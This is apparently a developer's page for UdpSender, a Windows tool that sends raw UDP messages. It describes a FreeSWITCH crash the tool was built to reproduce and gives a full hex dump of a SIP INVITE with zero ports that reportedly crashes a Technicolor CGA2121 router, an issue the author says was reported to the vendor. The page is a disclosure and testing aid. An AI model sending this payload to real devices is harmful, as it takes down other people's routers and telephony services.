UDP sender

UdpSender is a very simple Windows application sending arbitrary UDP messages, in particular binary messages defined by hex string.

It was originally written to test crash in FreeSWITCH mod_event_multicast (and default values in target address and hex string are doing that, FS pull #1885), another interesting case is sending UDP message with zero length content (causing mod_event_multicast termination), but it might also be suitable for other purposes (second issue is essentially related to Apache Portable Runtime).

UDP sender

Other interesting example, crashing Technicolor CGA2121 with a single UDP message (reported to Vantiva in October 2024):
CGA2121 crash

This was found purely by accident during tSIP development, apparently some kind SIP ALG or monitor crashes whole device when SIP message with some ports set to zero is sent to any address.

49 4e 56 49 54 45 20 73 69 70 3a 33 33 33 33 40 73 69 70 32 73 69 70 2e 69 6e 66 6f 3b 74 72 61
6e 73 70 6f 72 74 3d 75 64 70 20 53 49 50 2f 32 2e 30 0d 0a 56 69 61 3a 20 53 49 50 2f 32 2e 30
2f 55 44 50 20 31 39 32 2e 31 36 38 2e 30 2e 31 32 3a 30 3b 62 72 61 6e 63 68 3d 7a 39 68 47 34
62 4b 34 37 63 33 32 31 34 65 36 34 38 62 34 33 62 37 3b 72 70 6f 72 74 0d 0a 43 6f 6e 74 61 63
74 3a 20 3c 73 69 70 3a 32 30 40 31 39 32 2e 31 36 38 2e 30 2e 31 32 3a 30 3e 0d 0a 4d 61 78 2d
46 6f 72 77 61 72 64 73 3a 20 37 30 0d 0a 54 6f 3a 20 3c 73 69 70 3a 33 33 33 33 40 73 69 70 32
73 69 70 2e 69 6e 66 6f 3b 74 72 61 6e 73 70 6f 72 74 3d 75 64 70 3e 0d 0a 46 72 6f 6d 3a 20 3c
73 69 70 3a 32 30 40 31 39 32 2e 31 36 38 2e 30 2e 31 31 31 3a 35 30 36 30 3e 3b 74 61 67 3d 31
37 65 34 34 38 62 35 37 61 36 64 37 64 32 32 0d 0a 43 61 6c 6c 2d 49 44 3a 20 33 65 63 39 34 30
35 31 31 37 32 62 30 30 66 66 0d 0a 43 53 65 71 3a 20 33 31 32 31 30 20 49 4e 56 49 54 45 0d 0a
55 73 65 72 2d 41 67 65 6e 74 3a 20 74 53 49 50 20 30 2e 30 33 2e 30 36 2e 30 32 0d 0a 41 6c 6c
6f 77 3a 20 49 4e 56 49 54 45 2c 41 43 4b 2c 42 59 45 2c 43 41 4e 43 45 4c 2c 4f 50 54 49 4f 4e
53 2c 52 45 46 45 52 2c 4e 4f 54 49 46 59 2c 53 55 42 53 43 52 49 42 45 2c 49 4e 46 4f 0d 0a 53
75 70 70 6f 72 74 65 64 3a 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61
74 69 6f 6e 2f 73 64 70 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 35 39 0d 0a 0d
0a 76 3d 30 0d 0a 6f 3d 2d 20 31 38 35 38 31 37 32 33 35 36 20 32 30 32 31 31 33 32 32 34 35 20
49 4e 20 49 50 34 20 31 39 32 2e 31 36 38 2e 30 2e 31 32 0d 0a 73 3d 2d 0d 0a 63 3d 49 4e 20 49
50 34 20 31 39 32 2e 31 36 38 2e 30 2e 31 32 0d 0a 74 3d 30 20 30 0d 0a 6d 3d 61 75 64 69 6f 20
31 35 30 36 38 20 52 54 50 2f 41 56 50 20 39 20 38 20 31 30 31 0d 0a 62 3d 41 53 3a 31 32 35 0d
0a 61 3d 72 74 70 6d 61 70 3a 39 20 47 37 32 32 2f 38 30 30 30 0d 0a 61 3d 72 74 70 6d 61 70 3a
38 20 50 43 4d 41 2f 38 30 30 30 0d 0a 61 3d 72 74 70 6d 61 70 3a 31 30 31 20 74 65 6c 65 70 68
6f 6e 65 2d 65 76 65 6e 74 2f 38 30 30 30 0d 0a 61 3d 66 6d 74 70 3a 31 30 31 20 30 2d 31 35 0d
0a 61 3d 73 65 6e 64 72 65 63 76 0d 0a 61 3d 6c 61 62 65 6c 3a 31 0d 0a 61 3d 70 74 69 6d 65 3a
32 30 0d 0a

Github: https://github.com/tomek-o/UdpSender.